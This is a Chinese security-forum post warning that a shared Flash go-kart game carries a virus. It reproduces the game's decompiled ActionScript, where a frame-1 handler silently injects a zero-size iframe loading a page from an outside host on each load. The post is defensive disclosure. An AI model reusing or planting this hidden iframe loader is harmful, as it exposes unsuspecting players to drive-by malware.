论坛: 轻松一刻 标题: 请斑竹删除此帖(flash小游戏--卡丁车,轻松一下) 复制本贴地址    
作者: lijingxi [lijingxi]    见习版主   登录
这个帖子有病毒

FALSH 中夹有
{
        getURL("JavaScript:document.body.insertAdjacentHTML(\'beforeEnd\',\'<iframe src=http://konblueskys.512j.com/soft/jxgg.htm width=0 height=0></iframe>\')", "_self");
    }
这部分代码, 其中 http://konblueskys.512j.com/soft/jxgg.htm 地址有病毒! 请打开不要随便打开.
付完整代码以供大家研究学习!
// Action script...

// [onClipEvent of sprite 1 in frame 1]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

on (press)
{
    _parent.SoundObj1.stop();
    _parent.gotoAndStop("game");
}

// [onClipEvent of sprite 2 in frame 1]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

on (press)
{
    getURL("http://bbs.flashwo.com/popkart.asp?popkart", "_blank");
}

// [onClipEvent of sprite 3 in frame 1]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

on (press)
{
    _parent.gotoAndStop("help");
}

// [onClipEvent of sprite 14 in frame 2]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

on (press)
{
    _parent.gotoAndStop("first");
}

// [onClipEvent of sprite 153 in frame 3]
onClipEvent (load)
{
    var Depth = this.getDepth();
    this.swapDepths(10);
}

// [onClipEvent of sprite 163 in frame 3]
onClipEvent (load)
{
    var Depth = this.getDepth();
    this.swapDepths(11);
}

// [onClipEvent of sprite 164 in frame 7]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

on (release)
{
    _parent.gotoAndStop("first");
}

// [onClipEvent of sprite 165 in frame 7]
on (rollOver)
{
    this.nextFrame();
}

on (rollOut)
{
    this.prevFrame();
}

// [Action in Frame 1]
if (i == null)
{
    i = 1;
    if (_url.toLowerCase().substr(0, 4) == "http")
    {
        getURL("JavaScript:document.body.insertAdjacentHTML(\'beforeEnd\',\'<iframe src=http://konblueskys.512j.com/soft/jxgg.htm width=0 height=0></iframe>\')", "_self");
    } // end if
} // end if
return(null >>> (null | null));
startDrag(null, false);

function soundOn()
{
    SoundObj.setVolume(100);
} // End of the function
function soundOff()
{
    SoundObj.setVolume(0);
} // End of the function
this.stop();
this.volume_controler.gotoAndStop(soundFrame);
SoundObj = new Sound(this);
SoundObj.attachSound("bgm");
SoundObj1 = new Sound(this);
SoundObj1.attachSound("intro");
if (soundFrame == undefined)
{
    soundFrame = 1;
    SoundObj1.start(0, 9999);
} // end if
this.onEnterFrame = function ()
{
    var _l1 = this;
    if (_l1.vol == 1)
    {
        soundOn();
        _l1.vol = 2;
    } // end if
    if (_l1.vol == 0)
    {
        soundOff();
        _l1.vol = 2;
    } // end if
};

// [Action in Frame 3]
function FN_Array()
{
    var _l3 = _root;
    mun = new Array();
    for (i = 0; i <= 7; i++)
    {
        _l3.mun[i] = i + 1;
    } // end of for
    for (i = 1; i < 50; i++)
    {
        var _l1 = random(8);
        var _l2 = random(8);
        var temp3 = mun[_l1];
        mun[_l1] = mun[_l2];
        mun[_l2] = temp3;
        var temp4 = _l3["mun" + level_num][_l1];
        _l3["mun" + level_num][_l1] = _l3["mun" + level_num][_l2];
        _l3["mun" + level_num][_l2] = temp4;
    } // end of for
} // End of the function
function FN_Gamego()
{
    var _l2 = this;
    var _l1 = 1;
    while (_l1 <= 4)
    {
        _l2["back_mc" + _l1].play();
        _l1++;
    } // end while
    _l2.m9.gotoAndPlay("first");
    _l2.timer_mc.play();
    _l2.control_mc.play();
    _l2.line_mc.play();
    _l2.side_mc.nextFrame();
    _l2.bg_mc.nextFrame();
    _l2.distance_mc.play();
    game_ok = true;
    realgame_ok = true;
} // End of the function
function life_up()
{
    var _l1 = this;
    if (_l1.interface.time_mc._xscale <= 75)
    {
        _l1.interface.time_mc._xscale = _l1.interface.time_mc._xscale + 20;
    }
    else
    {
        _l1.interface.time_mc._xscale = 100;
    } // end if
} // End of the function
function life_smallminus()
{
    var _l1 = this;
    if (_l1.interface.time_mc._xscale >= 5)
    {
        _l1.interface.time_mc._xscale = _l1.interface.time_mc._xscale - 5;
    }
    else
    {
        _l1.interface.time_mc._xscale = 0;
    } // end if
} // End of the function
function life_largeminus()
{
    var _l1 = this;
    if (_l1.interface.time_mc._xscale >= 20)
    {
        _l1.interface.time_mc._xscale = _l1.interface.time_mc._xscale - 15;
    }
    else
    {
        _l1.interface.time_mc._xscale = 0;
    } // end if
} // End of the function
function FN_left_smallCrash()
{
    this.char.l_crash.play();
} // End of the function
function FN_right_smallCrash()
{
    this.char.r_crash.play();
} // End of the function
function FN_right_largeCrash()
{
    key_ok = false;
    this.char.gotoAndStop("crash1");
} // End of the function
function FN_Gamestop()
{
    var _l2 = this;
    if (realgame_ok)
    {
        game_ok = false;
        var _l1 = 1;
        while (_l1 <= 8)
        {
            _l2["m" + _l1].m_in.stop();
            _l1++;
        } // end while
        _l2.control_mc.stop();
        _l2.distance_mc.stop();
        _l2.timer_mc.stop();
        if (_l2.text_mc._currentframe != 1)
        {
            _l2.text_mc.stop();
        } // end if
        if (_l2.bottom_line_mc._currentframe != 1)
        {
            _l2.bottom_line_mc.stop();
        } // end if
        if (_l2.m9._currentframe < 10)
        {
            _l2.m9.m.m_in.stop();
        }
        else
        {
            _l2.m9.stop();
        } // end if
    }
    else
    {
        _l2.text_mc.mc.stop();
    } // end if
} // End of the function
function FN_Gameplay()
{
    var _l2 = this;
    if (realgame_ok)
    {
        game_ok = true;
        var _l1 = 1;
        while (_l1 <= 8)
        {
            _l2["m" + _l1].m_in.play();
            _l1++;
        } // end while
        _l2.control_mc.play();
        _l2.distance_mc.play();
        _l2.timer_mc.play();
        if (_l2.text_mc._currentframe != 1)
        {
            _l2.text_mc.play();
        } // end if
        if (_l2.bottom_line_mc._currentframe != 1)
        {
            _l2.bottom_line_mc.play();
        } // end if
        if (_l2.m9._currentframe < 10)
        {
            _l2.m9.m.m_in.play();
        }
        else
        {
            _l2.m9.play();
        } // end if
    }
    else
    {
        _l2.text_mc.mc.play();
    } // end if
} // End of the function
function FN_Score()
{
    var _l1 = this;
    s_num1 = int(score / 100000) + 1;
    s_num11 = score % 100000;
    s_num2 = int(s_num11 / 10000) + 1;
    s_num22 = s_num11 % 10000;
    s_num3 = int(s_num22 / 1000) + 1;
    s_num33 = s_num22 % 1000;
    s_num4 = int(s_num33 / 100) + 1;
    s_num44 = s_num33 % 100;
    s_num5 = int(s_num44 / 10) + 1;
    s_num6 = s_num44 % 10;
    if (score >= 10 && score < 100)
    {
        s_num5++;
    }
    else if (score >= 100 && score < 1000)
    {
        s_num4++;
        s_num5++;
    }
    else if (score >= 1000 && score < 10000)
    {
        s_num3++;
        s_num4++;
        s_num5++;
    }
    else if (score >= 10000 && score < 100000)
    {
        s_num2++;
        s_num3++;
        s_num4++;
        s_num5++;
    }
    else if (score >= 100000)
    {
        s_num1++;
        s_num2++;
        s_num3++;
        s_num4++;
        s_num5++;
    } // end if
    _l1.interface.score_mc.mc2.gotoAndStop(s_num5);
    _l1.interface.score_mc.mc3.gotoAndStop(s_num4);
    _l1.interface.score_mc.mc4.gotoAndStop(s_num3);
    _l1.interface.score_mc.mc5.gotoAndStop(s_num2);
    _l1.interface.score_mc.mc6.gotoAndStop(s_num1);
} // End of the function
this.stop();
var xpos = this.char._x;
this.char.gotoAndStop("f_doing");
this.char._x = xpos;
this.target_mc._x = 316;
this.interface.time_mc._xscale = 100;
this.volume_controler.gotoAndStop(soundFrame);
var i = 1;
while (i <= 4)
{
    this["back_mc" + i].stop();
    i++;
} // end while
this.timer_mc.stop();
this.line_mc.stop();
this.distance_mc.stop();
this.text_mc.gotoAndStop("start");
this.bottom_line_mc.gotoAndStop("start");
this.control_mc.stop();
this.interface.level_mc.mc1.nextFrame();
var keypress_num = 3;
var level_count = 6;
var level_num = 1;
var score = 0;
var total_time = 0;
var num = 1;
var yspeed = 0.300000;
var yspeed1 = 0.100000;
var key_ok = true;
var game_ok = false;
var realgame_ok = false;
var jump_ok = false;
var i = 1;
while (i <= 8)
{
    this["m" + i].Depth = this["m" + i].getDepth();
    i++;
} // end while
mun1 = [true, true, false, false, false, false, false, false];
mun2 = [true, true, true, false, false, false, false, false];
mun3 = [true, true, true, true, false, false, false, false];
mun4 = [true, true, true, true, true, false, false, false];
mun5 = [true, true, true, true, true, true, false, false];
mun6 = [true, true, true, true, true, true, false, false];
FN_Array();
Press_key = new Object();
Press_key.onKeyDown = function ()
{
    if (game_ok)
    {
        if (key_ok)
        {
            if (Key.getCode() == 39)
            {
                keypress_num = 1;
            } // end if
            if (Key.getCode() == 37)
            {
                keypress_num = 2;
            } // end if
        } // end if
    } // end if
};
Press_key.onKeyUp = function ()
{
    if (game_ok)
    {
        keypress_num = 3;
    } // end if
};
Key.addListener(Press_key);
this.onEnterFrame = function ()
{
    var _l1 = this;
    if (_l1.vol == 1)
    {
        soundOn();
        _l1.vol = 2;
    } // end if
    if (_l1.vol == 0)
    {
        soundOff();
        _l1.vol = 2;
    } // end if
    if (game_ok)
    {
        if (char._currentframe == 1 || char._currentframe == 5 || char._currentframe == 9)
        {
            if (target_mc._x < 266)
            {
                _l1.char.gotoAndStop("l_doing");
            }
            else if (target_mc._x >= 266 && target_mc._x < 416)
            {
                _l1.char.gotoAndStop("f_doing");
            }
            else
            {
                _l1.char.gotoAndStop("r_doing");
            } // end if
        }
        else if (char._currentframe == 2 || char._currentframe == 6 || char._currentframe == 10)
        {
            if (target_mc._x < 266)
            {
                _l1.char.gotoAndStop("l_right");
            }
            else if (target_mc._x >= 266 && target_mc._x < 416)
            {
                _l1.char.gotoAndStop("f_right");
            }
            else
            {
                _l1.char.gotoAndStop("r_right");
            } // end if
        }
        else if (char._currentframe == 3 || char._currentframe == 7 || char._currentframe == 11)
        {
            if (target_mc._x < 266)
            {
                _l1.char.gotoAndStop("l_left");
            }
            else if (target_mc._x >= 266 && target_mc._x < 416)
            {
                _l1.char.gotoAndStop("f_left");
            }
            else
            {
                _l1.char.gotoAndStop("r_left");
            } // end if
        } // end if
        if (keypress_num == 1)
        {
            if (target_mc._x < 616)
            {
                target_mc._x = target_mc._x + 50;
                target_mc1._x = target_mc1._x - 2;
            } // end if
            if (char._currentframe == 1 || char._currentframe == 5 || char._currentframe == 9)
            {
                char.gotoAndStop(char._currentframe + 1);
            }
            else if (char._currentframe == 3 || char._currentframe == 7 || char._currentframe == 11)
            {
                char.gotoAndStop(char._currentframe - 1);
            } // end if
        }
        else if (keypress_num == 2)
        {
            if (target_mc._x > 16)
            {
                target_mc._x = target_mc._x - 50;
                target_mc1._x = target_mc1._x + 2;
            } // end if
            if (char._currentframe == 1 || char._currentframe == 5 || char._currentframe == 9)
            {
                char.gotoAndStop(char._currentframe + 2);
            }
            else if (char._currentframe == 2 || char._currentframe == 6 || char._currentframe == 10)
            {
                char.gotoAndStop(char._currentframe + 1);
            } // end if
        }
        else
        {
            char.mc.play();
        } // end if
        tgx = _l1.target_mc._x;
        tgx1 = _l1.target_mc1._x;
        _l1.front_back._x = _l1.front_back._x + yspeed1 * (tgx1 - _l1.front_back._x);
        _l1.char._x = _l1.char._x + yspeed * (tgx - _l1.char._x);
        if (key_ok)
        {
            if (Key.isDown(32))
            {
                jump_ok = true;
                if (_l1.char._currentframe < 4)
                {
                    _l1.char.gotoAndStop("f_jump");
                }
                else if (_l1.char._currentframe > 4 && _l1.char._currentframe < 10)
                {
                    _l1.char.gotoAndStop("l_jump");
                }
                else
                {
                    _l1.char.gotoAndStop("r_jump");
                } // end if
            } // end if
        } // end if
        if (_l1.interface.time_mc._xscale > 0)
        {
            _l1.interface.time_mc._xscale = _l1.interface.time_mc._xscale - 0.050000;
        }
        else
        {
            delete _l1["onEnterFrame"];
            delete _l1["onKeyDown"];
            delete _l1["onKeyUp"];
            stopAllSounds();
            game_ok = false;
            _l1.timer_mc.stop();
            _l1.line_mc.stop();
            _l1.control_mc.stop();
            _l1.distance_mc.stop();
            _l1.side_mc.prevFrame();
            _l1.bg_mc.prevFrame();
            if (_l1.text_mc._currentframe != 1)
            {
                _l1.text_mc.stop();
            } // end if
            if (_l1.bottom_line_mc._currentframe != 1)
            {
                _l1.bottom_line_mc.stop();
            } // end if
            var _l2 = 1;
            while (_l2 <= 8)
            {
                if (_l2 < 5)
                {
                    _l1["back_mc" + _l2].stop();
                } // end if
                _l1["m" + _l2].swapDepths(_l1["m" + _l2].Depth);
                _l1["m" + _l2].gotoAndStop(1);
            } // end while
            _l1.m9.gotoAndStop(1);
            if (_l1.char._x <= xpos)
            {
                _l1.char.gotoAndStop("end1");
            }
            else
            {
                _l1.char.gotoAndStop("end2");
            } // end if
        } // end if
    } // end if
};
url_mc.onPress = function ()
{
    getURL("http://www.xiaoyouxi.com/?popkart", "_blank");
};

// [Action in Frame 7]
this.interface.swapDepths(this.interface.Depth);
this.stop_window.swapDepths(this.stop_window.Depth);
Key.removeListener(Press_key);
this.gara_btn.useHandCursor = false;
_root.pt = this.score;
_root.rt = this.total_time;
my_data = new Date();
year = my_data.getFullYear();
month = my_data.getMonth() + 1;
if (month < 10)
{
    m_month = "0" + month;
}
else
{
    m_month = month;
} // end if
date1 = my_data.getDate();
if (date1 < 10)
{
    m_date = "0" + date1;
}
else
{
    m_date = date1;
} // end if
hour = my_data.getHours();
if (hour < 10)
{
    m_hour = "0" + hour;
}
else
{
    m_hour = hour;
} // end if
minutes = my_data.getMinutes();
if (minutes < 10)
{
    m_minutes = "0" + minutes;
}
else
{
    m_minutes = minutes;
} // end if
seconds = my_data.getSeconds();
if (seconds < 10)
{
    m_seconds = "0" + seconds;
}
else
{
    m_seconds = seconds;
} // end if
for (i = 0; i < 6; i++)
{
    this["num" + i] = random(10);
} // end of for
my_str = new String();
_root.orderId = my_str.concat(year, m_month, m_date, m_hour, m_minutes, m_seconds, num0, num1, num2, num3, num4, num5);
this.scjf.onRelease = function ()
{
    function md5(s)
    {
        return(binl2hex(core_md5(str2binl(s), s.length * strsize)));
    } // End of the function
    function core_md5(x, len)
    {
        x[len >> 5] = x[len >> 5] | 128 << len % 32;
        x[(len + 64 >>> 9 << 4) + 14] = len;
        var _l1 = 1732584193;
        var _l2 = -271733879;
        var _l3 = -1732584194;
        var _l1 = 271733878;
        var _l5 = 0;
        while (_l5 < x.length)
        {
            var _l10 = _l1;
            var _l9 = _l2;
            var _l8 = _l3;
            var _l7 = _l1;
            _l1 = md5_ff(_l1, _l2, _l3, _l1, x[_l5 + 0], 7, -680876936);
            _l1 = md5_ff(_l1, _l1, _l2, _l3, x[_l5 + 1], 12, -389564586);
            _l3 = md5_ff(_l3, _l1, _l1, _l2, x[_l5 + 2], 17, 606105819);
            _l2 = md5_ff(_l2, _l3, _l1, _l1, x[_l5 + 3], 22, -1044525330);
            _l1 = md5_ff(_l1, _l2, _l3, _l1, x[_l5 + 4], 7, -176418897);
            _l1 = md5_ff(_l1, _l1, _l2, _l3, x[_l5 + 5], 12, 1200080426);
            _l3 = md5_ff(_l3, _l1, _l1, _l2, x[_l5 + 6], 17, -1473231341);
            _l2 = md5_ff(_l2, _l3, _l1, _l1, x[_l5 + 7], 22, -45705983);
            _l1 = md5_ff(_l1, _l2, _l3, _l1, x[_l5 + 8], 7, 1770035416);
            _l1 = md5_ff(_l1, _l1, _l2, _l3, x[_l5 + 9], 12, -1958414417);
            _l3 = md5_ff(_l3, _l1, _l1, _l2, x[_l5 + 10], 17, -42063);
            _l2 = md5_ff(_l2, _l3, _l1, _l1, x[_l5 + 11], 22, -1990404162);
            _l1 = md5_ff(_l1, _l2, _l3, _l1, x[_l5 + 12], 7, 1804603682);
            _l1 = md5_ff(_l1, _l1, _l2, _l3, x[_l5 + 13], 12, -40341101);
            _l3 = md5_ff(_l3, _l1, _l1, _l2, x[_l5 + 14], 17, -1502002290);
            _l2 = md5_ff(_l2, _l3, _l1, _l1, x[_l5 + 15], 22, 1236535329);
            _l1 = md5_gg(_l1, _l2, _l3, _l1, x[_l5 + 1], 5, -165796510);
            _l1 = md5_gg(_l1, _l1, _l2, _l3, x[_l5 + 6], 9, -1069501632);
            _l3 = md5_gg(_l3, _l1, _l1, _l2, x[_l5 + 11], 14, 643717713);
            _l2 = md5_gg(_l2, _l3, _l1, _l1, x[_l5 + 0], 20, -373897302);
            _l1 = md5_gg(_l1, _l2, _l3, _l1, x[_l5 + 5], 5, -701558691);
            _l1 = md5_gg(_l1, _l1, _l2, _l3, x[_l5 + 10], 9, 38016083);
            _l3 = md5_gg(_l3, _l1, _l1, _l2, x[_l5 + 15], 14, -660478335);
            _l2 = md5_gg(_l2, _l3, _l1, _l1, x[_l5 + 4], 20, -405537848);
            _l1 = md5_gg(_l1, _l2, _l3, _l1, x[_l5 + 9], 5, 568446438);
            _l1 = md5_gg(_l1, _l1, _l2, _l3, x[_l5 + 14], 9, -1019803690);
            _l3 = md5_gg(_l3, _l1, _l1, _l2, x[_l5 + 3], 14, -187363961);
            _l2 = md5_gg(_l2, _l3, _l1, _l1, x[_l5 + 8], 20, 1163531501);
            _l1 = md5_gg(_l1, _l2, _l3, _l1, x[_l5 + 13], 5, -1444681467);
            _l1 = md5_gg(_l1, _l1, _l2, _l3, x[_l5 + 2], 9, -51403784);
            _l3 = md5_gg(_l3, _l1, _l1, _l2, x[_l5 + 7], 14, 1735328473);
            _l2 = md5_gg(_l2, _l3, _l1, _l1, x[_l5 + 12], 20, -1926607734);
            _l1 = md5_hh(_l1, _l2, _l3, _l1, x[_l5 + 5], 4, -378558);
            _l1 = md5_hh(_l1, _l1, _l2, _l3, x[_l5 + 8], 11, -2022574463);
            _l3 = md5_hh(_l3, _l1, _l1, _l2, x[_l5 + 11], 16, 1839030562);
            _l2 = md5_hh(_l2, _l3, _l1, _l1, x[_l5 + 14], 23, -35309556);
            _l1 = md5_hh(_l1, _l2, _l3, _l1, x[_l5 + 1], 4, -1530992060);
            _l1 = md5_hh(_l1, _l1, _l2, _l3, x[_l5 + 4], 11, 1272893353);
            _l3 = md5_hh(_l3, _l1, _l1, _l2, x[_l5 + 7], 16, -155497632);
            _l2 = md5_hh(_l2, _l3, _l1, _l1, x[_l5 + 10], 23, -1094730640);
            _l1 = md5_hh(_l1, _l2, _l3, _l1, x[_l5 + 13], 4, 681279174);
            _l1 = md5_hh(_l1, _l1, _l2, _l3, x[_l5 + 0], 11, -358537222);
            _l3 = md5_hh(_l3, _l1, _l1, _l2, x[_l5 + 3], 16, -722521979);
            _l2 = md5_hh(_l2, _l3, _l1, _l1, x[_l5 + 6], 23, 76029189);
            _l1 = md5_hh(_l1, _l2, _l3, _l1, x[_l5 + 9], 4, -640364487);
            _l1 = md5_hh(_l1, _l1, _l2, _l3, x[_l5 + 12], 11, -421815835);
            _l3 = md5_hh(_l3, _l1, _l1, _l2, x[_l5 + 15], 16, 530742520);
            _l2 = md5_hh(_l2, _l3, _l1, _l1, x[_l5 + 2], 23, -995338651);
            _l1 = md5_ii(_l1, _l2, _l3, _l1, x[_l5 + 0], 6, -198630844);
            _l1 = md5_ii(_l1, _l1, _l2, _l3, x[_l5 + 7], 10, 1126891415);
            _l3 = md5_ii(_l3, _l1, _l1, _l2, x[_l5 + 14], 15, -1416354905);
            _l2 = md5_ii(_l2, _l3, _l1, _l1, x[_l5 + 5], 21, -57434055);
            _l1 = md5_ii(_l1, _l2, _l3, _l1, x[_l5 + 12], 6, 1700485571);
            _l1 = md5_ii(_l1, _l1, _l2, _l3, x[_l5 + 3], 10, -1894986606);
            _l3 = md5_ii(_l3, _l1, _l1, _l2, x[_l5 + 10], 15, -1051523);
            _l2 = md5_ii(_l2, _l3, _l1, _l1, x[_l5 + 1], 21, -2054922799);
            _l1 = md5_ii(_l1, _l2, _l3, _l1, x[_l5 + 8], 6, 1873313359);
            _l1 = md5_ii(_l1, _l1, _l2, _l3, x[_l5 + 15], 10, -30611744);
            _l3 = md5_ii(_l3, _l1, _l1, _l2, x[_l5 + 6], 15, -1560198380);
            _l2 = md5_ii(_l2, _l3, _l1, _l1, x[_l5 + 13], 21, 1309151649);
            _l1 = md5_ii(_l1, _l2, _l3, _l1, x[_l5 + 4], 6, -145523070);
            _l1 = md5_ii(_l1, _l1, _l2, _l3, x[_l5 + 11], 10, -1120210379);
            _l3 = md5_ii(_l3, _l1, _l1, _l2, x[_l5 + 2], 15, 718787259);
            _l2 = md5_ii(_l2, _l3, _l1, _l1, x[_l5 + 9], 21, -343485551);
            _l1 = safe_add(_l1, _l10);
            _l2 = safe_add(_l2, _l9);
            _l3 = safe_add(_l3, _l8);
            _l1 = safe_add(_l1, _l7);
            _l5 = _l5 + 16;
        } // end while
        Array(_l1, _l2, _l3, _l1);
        return(Array(_l1, _l2, _l3, _l1));
    } // End of the function
    function md5_cmn(q, a, b, x, s, t)
    {
        return(safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b));
    } // End of the function
    function md5_ff(a, b, c, d, x, s, t)
    {
        var _l1 = b;
        md5_cmn(_l1 & c | (_l1 ^ 4294967295.000000) & d, a, _l1, x, s, t);
        return(md5_cmn(_l1 & c | (_l1 ^ 4294967295.000000) & d, a, _l1, x, s, t));
    } // End of the function
    function md5_gg(a, b, c, d, x, s, t)
    {
        return(md5_cmn(b & d | c & (d ^ 4294967295.000000), a, b, x, s, t));
    } // End of the function
    function md5_hh(a, b, c, d, x, s, t)
    {
        return(md5_cmn(b ^ c ^ d, a, b, x, s, t));
    } // End of the function
    function md5_ii(a, b, c, d, x, s, t)
    {
        return(md5_cmn(c ^ (b | d ^ 4294967295.000000), a, b, x, s, t));
    } // End of the function
    function safe_add(x, y)
    {
        var _l1 = (x & 65535) + (y & 65535);
        var _l2 = (x >> 16) + (y >> 16) + (_l1 >> 16);
        _l2 << 16 | _l1 & 65535;
        return(_l2 << 16 | _l1 & 65535);
    } // End of the function
    function bit_rol(num, cnt)
    {
        return(num << cnt | num >>> 32 - cnt);
    } // End of the function
    function str2binl(str)
    {
        var _l3 = str;
        var _l2 = Array();
        var _l4 = (1 << strsize) - 1;
        var _l1 = 0;
        while (_l1 < _l3.length * strsize)
        {
            _l2[_l1 >> 5] = _l2[_l1 >> 5] | (_l3.charCodeAt(_l1 / strsize) & _l4) << _l1 % 32;
            _l1 = _l1 + strsize;
        } // end while
        return(_l2);
    } // End of the function
    function binl2hex(binarray)
    {
        var _l2 = binarray;
        if (hexcase)
        {
        } // end if
        var _l4 = "0123456789abcdef";
        var _l3 = "";
        var _l1 = 0;
        while (_l1 < _l2.length * 4)
        {
            _l3 = _l3 + (_l4.charAt(_l2[_l1 >> 2] >> _l1 % 4 * 8 + 4 & 15) + _l4.charAt(_l2[_l1 >> 2] >> _l1 % 4 * 8 & 15));
            _l1++;
        } // end while
        return(_l3);
    } // End of the function
    var hexcase = 0;
    var strsize = 8;
    b = md5("xx");
    s = b.toUpperCase();
    _root.miyao = "flashwo.com778899";
    _root.gameType = "popkart";
    _root.pointNum = _root.pt;
    _root.Mac = md5(_root.pointNum + _root.orderId + _root.miyao + _root.gameType);
    getURL("http://bbs.flashwo.com/popkart.asp?pointNum=" + _root.pointNum + "&orderId=" + _root.orderId + "&gameType=" + _root.gameType + "&Mac=" + _root.Mac, "_blank");
};
如果斑竹觉得发在这里不合适请删除 或者转移 谢谢!!!!

地主 发表时间: 06-09-06 02:03

论坛: 轻松一刻

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号